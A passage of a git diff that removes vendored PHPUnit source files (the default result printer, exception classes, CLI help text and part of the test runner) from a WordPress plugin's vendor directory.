($configuration->codeCoverage()->hasCacheDirectory()) { - $cacheDirectory = $configuration->codeCoverage()->cacheDirectory()->path(); - } else { - print 'Cache for static analysis has not been configured' . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - $filter = new Filter; - - if ($configuration->codeCoverage()->hasNonEmptyListOfFilesToBeIncludedInCodeCoverageReport()) { - (new FilterMapper)->map( - $filter, - $configuration->codeCoverage(), - ); - } elseif (isset($this->arguments['coverageFilter'])) { - if (!is_array($this->arguments['coverageFilter'])) { - $coverageFilterDirectories = [$this->arguments['coverageFilter']]; - } else { - $coverageFilterDirectories = $this->arguments['coverageFilter']; - } - - foreach ($coverageFilterDirectories as $coverageFilterDirectory) { - $filter->includeDirectory($coverageFilterDirectory); - } - } else { - print 'Filter for code coverage has not been configured' . PHP_EOL; - - exit(TestRunner::EXCEPTION_EXIT); - } - - $timer = new Timer; - $timer->start(); - - print 'Warming cache for static analysis ... '; - - (new CacheWarmer)->warmCache( - $cacheDirectory, - !$configuration->codeCoverage()->disableCodeCoverageIgnore(), - $configuration->codeCoverage()->ignoreDeprecatedCodeUnits(), - $filter, - ); - - print 'done [' . $timer->stop()->asString() . ']' . PHP_EOL; - - exit(TestRunner::SUCCESS_EXIT); - } - - private function configurationFileInDirectory(string $directory): ?string - { - $candidates = [ - $directory . '/phpunit.xml', - $directory . '/phpunit.xml.dist', - ]; - - foreach ($candidates as $candidate) { - if (is_file($candidate)) { - return realpath($candidate); - } - } - - return null; - } - - /** - * @psalm-param "listGroups"|"listSuites"|"listTests"|"listTestsXml"|"filter"|"groups"|"excludeGroups"|"testsuite" $key - * @psalm-param list<"listGroups"|"listSuites"|"listTests"|"listTestsXml"|"filter"|"groups"|"excludeGroups"|"testsuite"> $keys - */ - private function warnAboutConflictingOptions(string $key, array $keys): void - { - $warningPrinted = false; - - foreach ($keys as $_key) { - if (!empty($this->arguments[$_key])) { - printf( - 'The %s and %s options cannot be combined, %s is ignored' . PHP_EOL, - $this->mapKeyToOptionForWarning($_key), - $this->mapKeyToOptionForWarning($key), - $this->mapKeyToOptionForWarning($_key), - ); - - $warningPrinted = true; - } - } - - if ($warningPrinted) { - print PHP_EOL; - } - } - - /** - * @psalm-param "listGroups"|"listSuites"|"listTests"|"listTestsXml"|"filter"|"groups"|"excludeGroups"|"testsuite" $key - */ - private function mapKeyToOptionForWarning(string $key): string - { - switch ($key) { - case 'listGroups': - return '--list-groups'; - - case 'listSuites': - return '--list-suites'; - - case 'listTests': - return '--list-tests'; - - case 'listTestsXml': - return '--list-tests-xml'; - - case 'filter': - return '--filter'; - - case 'groups': - return '--group'; - - case 'excludeGroups': - return '--exclude-group'; - - case 'testsuite': - return '--testsuite'; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php deleted file mode 100644 index 09de8588..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/DefaultResultPrinter.php +++ /dev/null @@ -1,585 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use const PHP_EOL; -use function array_map; -use function array_reverse; -use function count; -use function floor; -use function implode; -use function in_array; -use function is_int; -use function max; -use function preg_split; -use function sprintf; -use function str_pad; -use function str_repeat; -use function strlen; -use function trim; -use function vsprintf; -use PHPUnit\Framework\AssertionFailedError; -use PHPUnit\Framework\Exception; -use PHPUnit\Framework\InvalidArgumentException; -use PHPUnit\Framework\Test; -use PHPUnit\Framework\TestCase; -use PHPUnit\Framework\TestFailure; -use PHPUnit\Framework\TestResult; -use PHPUnit\Framework\TestSuite; -use PHPUnit\Framework\Warning; -use PHPUnit\Runner\PhptTestCase; -use PHPUnit\Util\Color; -use PHPUnit\Util\Printer; -use SebastianBergmann\Environment\Console; -use SebastianBergmann\Timer\ResourceUsageFormatter; -use SebastianBergmann\Timer\Timer; -use Throwable; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -class DefaultResultPrinter extends Printer implements ResultPrinter -{ - public const EVENT_TEST_START = 0; - public const EVENT_TEST_END = 1; - public const EVENT_TESTSUITE_START = 2; - public const EVENT_TESTSUITE_END = 3; - public const COLOR_NEVER = 'never'; - public const COLOR_AUTO = 'auto'; - public const COLOR_ALWAYS = 'always'; - public const COLOR_DEFAULT = self::COLOR_NEVER; - private const AVAILABLE_COLORS = [self::COLOR_NEVER, self::COLOR_AUTO, self::COLOR_ALWAYS]; - - /** - * @var int - */ - protected $column = 0; - - /** - * @var int - */ - protected $maxColumn; - - /** - * @var bool - */ - protected $lastTestFailed = false; - - /** - * @var int - */ - protected $numAssertions = 0; - - /** - * @var int - */ - protected $numTests = -1; - - /** - * @var int - */ - protected $numTestsRun = 0; - - /** - * @var int - */ - protected $numTestsWidth; - - /** - * @var bool - */ - protected $colors = false; - - /** - * @var bool - */ - protected $debug = false; - - /** - * @var bool - */ - protected $verbose = false; - - /** - * @var int - */ - private $numberOfColumns; - - /** - * @var bool - */ - private $reverse; - - /** - * @var bool - */ - private $defectListPrinted = false; - - /** - * @var Timer - */ - private $timer; - - /** - * Constructor. - * - * @param null|resource|string $out - * @param int|string $numberOfColumns - * - * @throws Exception - */ - public function __construct($out = null, bool $verbose = false, string $colors = self::COLOR_DEFAULT, bool $debug = false, $numberOfColumns = 80, bool $reverse = false) - { - parent::__construct($out); - - if (!in_array($colors, self::AVAILABLE_COLORS, true)) { - throw InvalidArgumentException::create( - 3, - vsprintf('value from "%s", "%s" or "%s"', self::AVAILABLE_COLORS), - ); - } - - if (!is_int($numberOfColumns) && $numberOfColumns !== 'max') { - throw InvalidArgumentException::create(5, 'integer or "max"'); - } - - $console = new Console; - $maxNumberOfColumns = $console->getNumberOfColumns(); - - if ($numberOfColumns === 'max' || ($numberOfColumns !== 80 && $numberOfColumns > $maxNumberOfColumns)) { - $numberOfColumns = $maxNumberOfColumns; - } - - $this->numberOfColumns = $numberOfColumns; - $this->verbose = $verbose; - $this->debug = $debug; - $this->reverse = $reverse; - - if ($colors === self::COLOR_AUTO && $console->hasColorSupport()) { - $this->colors = true; - } else { - $this->colors = (self::COLOR_ALWAYS === $colors); - } - - $this->timer = new Timer; - - $this->timer->start(); - } - - public function printResult(TestResult $result): void - { - $this->printHeader($result); - $this->printErrors($result); - $this->printWarnings($result); - $this->printFailures($result); - $this->printRisky($result); - - if ($this->verbose) { - $this->printIncompletes($result); - $this->printSkipped($result); - } - - $this->printFooter($result); - } - - /** - * An error occurred. - */ - public function addError(Test $test, Throwable $t, float $time): void - { - $this->writeProgressWithColor('fg-red, bold', 'E'); - $this->lastTestFailed = true; - } - - /** - * A failure occurred. - */ - public function addFailure(Test $test, AssertionFailedError $e, float $time): void - { - $this->writeProgressWithColor('bg-red, fg-white', 'F'); - $this->lastTestFailed = true; - } - - /** - * A warning occurred. - */ - public function addWarning(Test $test, Warning $e, float $time): void - { - $this->writeProgressWithColor('fg-yellow, bold', 'W'); - $this->lastTestFailed = true; - } - - /** - * Incomplete test. - */ - public function addIncompleteTest(Test $test, Throwable $t, float $time): void - { - $this->writeProgressWithColor('fg-yellow, bold', 'I'); - $this->lastTestFailed = true; - } - - /** - * Risky test. - */ - public function addRiskyTest(Test $test, Throwable $t, float $time): void - { - $this->writeProgressWithColor('fg-yellow, bold', 'R'); - $this->lastTestFailed = true; - } - - /** - * Skipped test. - */ - public function addSkippedTest(Test $test, Throwable $t, float $time): void - { - $this->writeProgressWithColor('fg-cyan, bold', 'S'); - $this->lastTestFailed = true; - } - - /** - * A testsuite started. - */ - public function startTestSuite(TestSuite $suite): void - { - if ($this->numTests == -1) { - $this->numTests = count($suite); - $this->numTestsWidth = strlen((string) $this->numTests); - $this->maxColumn = $this->numberOfColumns - strlen(' / (XXX%)') - (2 * $this->numTestsWidth); - } - } - - /** - * A testsuite ended. - */ - public function endTestSuite(TestSuite $suite): void - { - } - - /** - * A test started. - */ - public function startTest(Test $test): void - { - if ($this->debug) { - $this->write( - sprintf( - "Test '%s' started\n", - \PHPUnit\Util\Test::describeAsString($test), - ), - ); - } - } - - /** - * A test ended. - */ - public function endTest(Test $test, float $time): void - { - if ($this->debug) { - $this->write( - sprintf( - "Test '%s' ended\n", - \PHPUnit\Util\Test::describeAsString($test), - ), - ); - } - - if (!$this->lastTestFailed) { - $this->writeProgress('.'); - } - - if ($test instanceof TestCase) { - $this->numAssertions += $test->getNumAssertions(); - } elseif ($test instanceof PhptTestCase) { - $this->numAssertions++; - } - - $this->lastTestFailed = false; - - if ($test instanceof TestCase && !$test->hasExpectationOnOutput()) { - $this->write($test->getActualOutput()); - } - } - - protected function printDefects(array $defects, string $type): void - { - $count = count($defects); - - if ($count == 0) { - return; - } - - if ($this->defectListPrinted) { - $this->write("\n--\n\n"); - } - - $this->write( - sprintf( - "There %s %d %s%s:\n", - ($count == 1) ? 'was' : 'were', - $count, - $type, - ($count == 1) ? '' : 's', - ), - ); - - $i = 1; - - if ($this->reverse) { - $defects = array_reverse($defects); - } - - foreach ($defects as $defect) { - $this->printDefect($defect, $i++); - } - - $this->defectListPrinted = true; - } - - protected function printDefect(TestFailure $defect, int $count): void - { - $this->printDefectHeader($defect, $count); - $this->printDefectTrace($defect); - } - - protected function printDefectHeader(TestFailure $defect, int $count): void - { - $this->write( - sprintf( - "\n%d) %s\n", - $count, - $defect->getTestName(), - ), - ); - } - - protected function printDefectTrace(TestFailure $defect): void - { - $e = $defect->thrownException(); - - $this->write((string) $e); - - while ($e = $e->getPrevious()) { - $this->write("\nCaused by\n" . trim((string) $e) . "\n"); - } - } - - protected function printErrors(TestResult $result): void - { - $this->printDefects($result->errors(), 'error'); - } - - protected function printFailures(TestResult $result): void - { - $this->printDefects($result->failures(), 'failure'); - } - - protected function printWarnings(TestResult $result): void - { - $this->printDefects($result->warnings(), 'warning'); - } - - protected function printIncompletes(TestResult $result): void - { - $this->printDefects($result->notImplemented(), 'incomplete test'); - } - - protected function printRisky(TestResult $result): void - { - $this->printDefects($result->risky(), 'risky test'); - } - - protected function printSkipped(TestResult $result): void - { - $this->printDefects($result->skipped(), 'skipped test'); - } - - protected function printHeader(TestResult $result): void - { - if (count($result) > 0) { - $this->write(PHP_EOL . PHP_EOL . (new ResourceUsageFormatter)->resourceUsage($this->timer->stop()) . PHP_EOL . PHP_EOL); - } - } - - protected function printFooter(TestResult $result): void - { - if (count($result) === 0) { - $this->writeWithColor( - 'fg-black, bg-yellow', - 'No tests executed!', - ); - - return; - } - - if ($result->wasSuccessfulAndNoTestIsRiskyOrSkippedOrIncomplete()) { - $this->writeWithColor( - 'fg-black, bg-green', - sprintf( - 'OK (%d test%s, %d assertion%s)', - count($result), - (count($result) === 1) ? '' : 's', - $this->numAssertions, - ($this->numAssertions === 1) ? '' : 's', - ), - ); - - return; - } - - $color = 'fg-black, bg-yellow'; - - if ($result->wasSuccessful()) { - if ($this->verbose || !$result->allHarmless()) { - $this->write("\n"); - } - - $this->writeWithColor( - $color, - 'OK, but incomplete, skipped, or risky tests!', - ); - } else { - $this->write("\n"); - - if ($result->errorCount()) { - $color = 'fg-white, bg-red'; - - $this->writeWithColor( - $color, - 'ERRORS!', - ); - } elseif ($result->failureCount()) { - $color = 'fg-white, bg-red'; - - $this->writeWithColor( - $color, - 'FAILURES!', - ); - } elseif ($result->warningCount()) { - $color = 'fg-black, bg-yellow'; - - $this->writeWithColor( - $color, - 'WARNINGS!', - ); - } - } - - $this->writeCountString(count($result), 'Tests', $color, true); - $this->writeCountString($this->numAssertions, 'Assertions', $color, true); - $this->writeCountString($result->errorCount(), 'Errors', $color); - $this->writeCountString($result->failureCount(), 'Failures', $color); - $this->writeCountString($result->warningCount(), 'Warnings', $color); - $this->writeCountString($result->skippedCount(), 'Skipped', $color); - $this->writeCountString($result->notImplementedCount(), 'Incomplete', $color); - $this->writeCountString($result->riskyCount(), 'Risky', $color); - $this->writeWithColor($color, '.'); - } - - protected function writeProgress(string $progress): void - { - if ($this->debug) { - return; - } - - $this->write($progress); - $this->column++; - $this->numTestsRun++; - - if ($this->column == $this->maxColumn || $this->numTestsRun == $this->numTests) { - if ($this->numTestsRun == $this->numTests) { - $this->write(str_repeat(' ', $this->maxColumn - $this->column)); - } - - $this->write( - sprintf( - ' %' . $this->numTestsWidth . 'd / %' . - $this->numTestsWidth . 'd (%3s%%)', - $this->numTestsRun, - $this->numTests, - floor(($this->numTestsRun / $this->numTests) * 100), - ), - ); - - if ($this->column == $this->maxColumn) { - $this->writeNewLine(); - } - } - } - - protected function writeNewLine(): void - { - $this->column = 0; - $this->write("\n"); - } - - /** - * Formats a buffer with a specified ANSI color sequence if colors are - * enabled. - */ - protected function colorizeTextBox(string $color, string $buffer): string - { - if (!$this->colors) { - return $buffer; - } - - $lines = preg_split('/\r\n|\r|\n/', $buffer); - $padding = max(array_map('\strlen', $lines)); - - $styledLines = []; - - foreach ($lines as $line) { - $styledLines[] = Color::colorize($color, str_pad($line, $padding)); - } - - return implode(PHP_EOL, $styledLines); - } - - /** - * Writes a buffer out with a color sequence if colors are enabled. - */ - protected function writeWithColor(string $color, string $buffer, bool $lf = true): void - { - $this->write($this->colorizeTextBox($color, $buffer)); - - if ($lf) { - $this->write(PHP_EOL); - } - } - - /** - * Writes progress with a color sequence if colors are enabled. - */ - protected function writeProgressWithColor(string $color, string $buffer): void - { - $buffer = $this->colorizeTextBox($color, $buffer); - $this->writeProgress($buffer); - } - - private function writeCountString(int $count, string $name, string $color, bool $always = false): void - { - static $first = true; - - if ($always || $count > 0) { - $this->writeWithColor( - $color, - sprintf( - '%s%s: %d', - !$first ? ', ' : '', - $name, - $count, - ), - false, - ); - - $first = false; - } - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/Exception.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/Exception.php deleted file mode 100644 index ee2ae4ff..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/Exception.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use Throwable; - -/** - * @internal This interface is not covered by the backward compatibility promise for PHPUnit - */ -interface Exception extends Throwable -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php deleted file mode 100644 index 74e9d25d..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/ReflectionException.php +++ /dev/null @@ -1,19 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use RuntimeException; - -/** - * @internal This interface is not covered by the backward compatibility promise for PHPUnit - */ -final class ReflectionException extends RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php deleted file mode 100644 index 790a8463..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/RuntimeException.php +++ /dev/null @@ -1,17 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -/** - * @internal This interface is not covered by the backward compatibility promise for PHPUnit - */ -final class RuntimeException extends \RuntimeException implements Exception -{ -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php deleted file mode 100644 index af387bea..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestDirectoryNotFoundException.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use function sprintf; -use RuntimeException; - -/** - * @internal This interface is not covered by the backward compatibility promise for PHPUnit - */ -final class TestDirectoryNotFoundException extends RuntimeException implements Exception -{ - public function __construct(string $path) - { - parent::__construct( - sprintf( - 'Test directory "%s" not found', - $path, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php deleted file mode 100644 index 3b534f7e..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Exception/TestFileNotFoundException.php +++ /dev/null @@ -1,29 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use function sprintf; -use RuntimeException; - -/** - * @internal This interface is not covered by the backward compatibility promise for PHPUnit - */ -final class TestFileNotFoundException extends RuntimeException implements Exception -{ - public function __construct(string $path) - { - parent::__construct( - sprintf( - 'Test file "%s" not found', - $path, - ), - ); - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Help.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Help.php deleted file mode 100644 index cfa51acb..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/Help.php +++ /dev/null @@ -1,281 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use const PHP_EOL; -use function count; -use function defined; -use function explode; -use function max; -use function preg_replace_callback; -use function str_pad; -use function str_repeat; -use function strlen; -use function wordwrap; -use PHPUnit\Util\Color; -use SebastianBergmann\Environment\Console; - -/** - * @internal This class is not covered by the backward compatibility promise for PHPUnit - */ -final class Help -{ - private const LEFT_MARGIN = ' '; - - /** - * @var int Number of columns required to write the longest option name to the console - */ - private $maxArgLength = 0; - - /** - * @var int Number of columns left for the description field after padding and option - */ - private $maxDescLength; - - /** - * @var bool Use color highlights for sections, options and parameters - */ - private $hasColor = false; - - public function __construct(?int $width = null, ?bool $withColor = null) - { - if ($width === null) { - $width = (new Console)->getNumberOfColumns(); - } - - if ($withColor === null) { - $this->hasColor = (new Console)->hasColorSupport(); - } else { - $this->hasColor = $withColor; - } - - foreach ($this->elements() as $options) { - foreach ($options as $option) { - if (isset($option['arg'])) { - $this->maxArgLength = max($this->maxArgLength, isset($option['arg']) ? strlen($option['arg']) : 0); - } - } - } - - $this->maxDescLength = $width - $this->maxArgLength - 4; - } - - /** - * Write the help file to the CLI, adapting width and colors to the console. - */ - public function writeToConsole(): void - { - if ($this->hasColor) { - $this->writeWithColor(); - } else { - $this->writePlaintext(); - } - } - - private function writePlaintext(): void - { - foreach ($this->elements() as $section => $options) { - print "{$section}:" . PHP_EOL; - - if ($section !== 'Usage') { - print PHP_EOL; - } - - foreach ($options as $option) { - if (isset($option['spacer'])) { - print PHP_EOL; - } - - if (isset($option['text'])) { - print self::LEFT_MARGIN . $option['text'] . PHP_EOL; - } - - if (isset($option['arg'])) { - $arg = str_pad($option['arg'], $this->maxArgLength); - print self::LEFT_MARGIN . $arg . ' ' . $option['desc'] . PHP_EOL; - } - } - - print PHP_EOL; - } - } - - private function writeWithColor(): void - { - foreach ($this->elements() as $section => $options) { - print Color::colorize('fg-yellow', "{$section}:") . PHP_EOL; - - foreach ($options as $option) { - if (isset($option['spacer'])) { - print PHP_EOL; - } - - if (isset($option['text'])) { - print self::LEFT_MARGIN . $option['text'] . PHP_EOL; - } - - if (isset($option['arg'])) { - $arg = Color::colorize('fg-green', str_pad($option['arg'], $this->maxArgLength)); - $arg = preg_replace_callback( - '/(<[^>]+>)/', - static function ($matches) - { - return Color::colorize('fg-cyan', $matches[0]); - }, - $arg, - ); - $desc = explode(PHP_EOL, wordwrap($option['desc'], $this->maxDescLength, PHP_EOL)); - - print self::LEFT_MARGIN . $arg . ' ' . $desc[0] . PHP_EOL; - - for ($i = 1; $i < count($desc); $i++) { - print str_repeat(' ', $this->maxArgLength + 3) . $desc[$i] . PHP_EOL; - } - } - } - - print PHP_EOL; - } - } - - /** - * @psalm-return array> - */ - private function elements(): array - { - $elements = [ - 'Usage' => [ - ['text' => 'phpunit [options] UnitTest.php'], - ['text' => 'phpunit [options] '], - ], - - 'Code Coverage Options' => [ - ['arg' => '--coverage-clover ', 'desc' => 'Generate code coverage report in Clover XML format'], - ['arg' => '--coverage-cobertura ', 'desc' => 'Generate code coverage report in Cobertura XML format'], - ['arg' => '--coverage-crap4j ', 'desc' => 'Generate code coverage report in Crap4J XML format'], - ['arg' => '--coverage-html ', 'desc' => 'Generate code coverage report in HTML format'], - ['arg' => '--coverage-php ', 'desc' => 'Export PHP_CodeCoverage object to file'], - ['arg' => '--coverage-text=', 'desc' => 'Generate code coverage report in text format [default: standard output]'], - ['arg' => '--coverage-xml ', 'desc' => 'Generate code coverage report in PHPUnit XML format'], - ['arg' => '--coverage-cache ', 'desc' => 'Cache static analysis results'], - ['arg' => '--warm-coverage-cache', 'desc' => 'Warm static analysis cache'], - ['arg' => '--coverage-filter ', 'desc' => 'Include in code coverage analysis'], - ['arg' => '--path-coverage', 'desc' => 'Perform path coverage analysis'], - ['arg' => '--disable-coverage-ignore', 'desc' => 'Disable annotations for ignoring code coverage'], - ['arg' => '--no-coverage', 'desc' => 'Ignore code coverage configuration'], - ], - - 'Logging Options' => [ - ['arg' => '--log-junit ', 'desc' => 'Log test execution in JUnit XML format to file'], - ['arg' => '--log-teamcity ', 'desc' => 'Log test execution in TeamCity format to file'], - ['arg' => '--testdox-html ', 'desc' => 'Write agile documentation in HTML format to file'], - ['arg' => '--testdox-text ', 'desc' => 'Write agile documentation in Text format to file'], - ['arg' => '--testdox-xml ', 'desc' => 'Write agile documentation in XML format to file'], - ['arg' => '--reverse-list', 'desc' => 'Print defects in reverse order'], - ['arg' => '--no-logging', 'desc' => 'Ignore logging configuration'], - ], - - 'Test Selection Options' => [ - ['arg' => '--list-suites', 'desc' => 'List available test suites'], - ['arg' => '--testsuite ', 'desc' => 'Filter which testsuite to run'], - ['arg' => '--list-groups', 'desc' => 'List available test groups'], - ['arg' => '--group ', 'desc' => 'Only runs tests from the specified group(s)'], - ['arg' => '--exclude-group ', 'desc' => 'Exclude tests from the specified group(s)'], - ['arg' => '--covers ', 'desc' => 'Only runs tests annotated with "@covers "'], - ['arg' => '--uses ', 'desc' => 'Only runs tests annotated with "@uses "'], - ['arg' => '--list-tests', 'desc' => 'List available tests'], - ['arg' => '--list-tests-xml ', 'desc' => 'List available tests in XML format'], - ['arg' => '--filter ', 'desc' => 'Filter which tests to run'], - ['arg' => '--test-suffix ', 'desc' => 'Only search for test in files with specified suffix(es). Default: Test.php,.phpt'], - ], - - 'Test Execution Options' => [ - ['arg' => '--dont-report-useless-tests', 'desc' => 'Do not report tests that do not test anything'], - ['arg' => '--strict-coverage', 'desc' => 'Be strict about @covers annotation usage'], - ['arg' => '--strict-global-state', 'desc' => 'Be strict about changes to global state'], - ['arg' => '--disallow-test-output', 'desc' => 'Be strict about output during tests'], - ['arg' => '--disallow-resource-usage', 'desc' => 'Be strict about resource usage during small tests'], - ['arg' => '--enforce-time-limit', 'desc' => 'Enforce time limit based on test size'], - ['arg' => '--default-time-limit ', 'desc' => 'Timeout in seconds for tests without @small, @medium or @large'], - ['arg' => '--disallow-todo-tests', 'desc' => 'Disallow @todo-annotated tests'], - ['spacer' => ''], - - ['arg' => '--process-isolation', 'desc' => 'Run each test in a separate PHP process'], - ['arg' => '--globals-backup', 'desc' => 'Backup and restore $GLOBALS for each test'], - ['arg' => '--static-backup', 'desc' => 'Backup and restore static attributes for each test'], - ['spacer' => ''], - - ['arg' => '--colors ', 'desc' => 'Use colors in output ("never", "auto" or "always")'], - ['arg' => '--columns ', 'desc' => 'Number of columns to use for progress output'], - ['arg' => '--columns max', 'desc' => 'Use maximum number of columns for progress output'], - ['arg' => '--stderr', 'desc' => 'Write to STDERR instead of STDOUT'], - ['arg' => '--stop-on-defect', 'desc' => 'Stop execution upon first not-passed test'], - ['arg' => '--stop-on-error', 'desc' => 'Stop execution upon first error'], - ['arg' => '--stop-on-failure', 'desc' => 'Stop execution upon first error or failure'], - ['arg' => '--stop-on-warning', 'desc' => 'Stop execution upon first warning'], - ['arg' => '--stop-on-risky', 'desc' => 'Stop execution upon first risky test'], - ['arg' => '--stop-on-skipped', 'desc' => 'Stop execution upon first skipped test'], - ['arg' => '--stop-on-incomplete', 'desc' => 'Stop execution upon first incomplete test'], - ['arg' => '--fail-on-incomplete', 'desc' => 'Treat incomplete tests as failures'], - ['arg' => '--fail-on-risky', 'desc' => 'Treat risky tests as failures'], - ['arg' => '--fail-on-skipped', 'desc' => 'Treat skipped tests as failures'], - ['arg' => '--fail-on-warning', 'desc' => 'Treat tests with warnings as failures'], - ['arg' => '-v|--verbose', 'desc' => 'Output more verbose information'], - ['arg' => '--debug', 'desc' => 'Display debugging information'], - ['spacer' => ''], - - ['arg' => '--repeat ', 'desc' => 'Runs the test(s) repeatedly'], - ['arg' => '--teamcity', 'desc' => 'Report test execution progress in TeamCity format'], - ['arg' => '--testdox', 'desc' => 'Report test execution progress in TestDox format'], - ['arg' => '--testdox-group', 'desc' => 'Only include tests from the specified group(s)'], - ['arg' => '--testdox-exclude-group', 'desc' => 'Exclude tests from the specified group(s)'], - ['arg' => '--no-interaction', 'desc' => 'Disable TestDox progress animation'], - ['arg' => '--printer ', 'desc' => 'TestListener implementation to use'], - ['spacer' => ''], - - ['arg' => '--order-by ', 'desc' => 'Run tests in order: default|defects|duration|no-depends|random|reverse|size'], - ['arg' => '--random-order-seed ', 'desc' => 'Use a specific random seed for random order'], - ['arg' => '--cache-result', 'desc' => 'Write test results to cache file'], - ['arg' => '--do-not-cache-result', 'desc' => 'Do not write test results to cache file'], - ], - - 'Configuration Options' => [ - ['arg' => '--prepend ', 'desc' => 'A PHP script that is included as early as possible'], - ['arg' => '--bootstrap ', 'desc' => 'A PHP script that is included before the tests run'], - ['arg' => '-c|--configuration ', 'desc' => 'Read configuration from XML file'], - ['arg' => '--no-configuration', 'desc' => 'Ignore default configuration file (phpunit.xml)'], - ['arg' => '--extensions ', 'desc' => 'A comma separated list of PHPUnit extensions to load'], - ['arg' => '--no-extensions', 'desc' => 'Do not load PHPUnit extensions'], - ['arg' => '--include-path ', 'desc' => 'Prepend PHP\'s include_path with given path(s)'], - ['arg' => '-d ', 'desc' => 'Sets a php.ini value'], - ['arg' => '--cache-result-file ', 'desc' => 'Specify result cache path and filename'], - ['arg' => '--generate-configuration', 'desc' => 'Generate configuration file with suggested settings'], - ['arg' => '--migrate-configuration', 'desc' => 'Migrate configuration file to current format'], - ], - ]; - - if (defined('__PHPUNIT_PHAR__')) { - $elements['PHAR Options'] = [ - ['arg' => '--manifest', 'desc' => 'Print Software Bill of Materials (SBOM) in plain-text format'], - ['arg' => '--sbom', 'desc' => 'Print Software Bill of Materials (SBOM) in CycloneDX XML format'], - ['arg' => '--composer-lock', 'desc' => 'Print composer.lock file used to build the PHAR'], - ]; - } - - $elements['Miscellaneous Options'] = [ - ['arg' => '-h|--help', 'desc' => 'Prints this usage information'], - ['arg' => '--version', 'desc' => 'Prints the version and exits'], - ['arg' => '--atleast-version ', 'desc' => 'Checks that version is greater than min and exits'], - ['arg' => '--check-version', 'desc' => 'Checks whether PHPUnit is the latest version and exits'], - ]; - - return $elements; - } -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php deleted file mode 100644 index ec89f600..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/ResultPrinter.php +++ /dev/null @@ -1,23 +0,0 @@ - - * - * For the full copyright and license information, please view the LICENSE - * file that was distributed with this source code. - */ -namespace PHPUnit\TextUI; - -use PHPUnit\Framework\TestListener; -use PHPUnit\Framework\TestResult; - -/** - * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit - */ -interface ResultPrinter extends TestListener -{ - public function printResult(TestResult $result): void; - - public function write(string $buffer): void; -} diff --git a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestRunner.php b/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestRunner.php deleted file mode 100644 index 1b23a3dc..00000000 --- a/wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/phpunit/phpunit/src/TextUI/TestRunner.php +++ /dev/null @@ -1,1262 +0,0 @@ - - * - 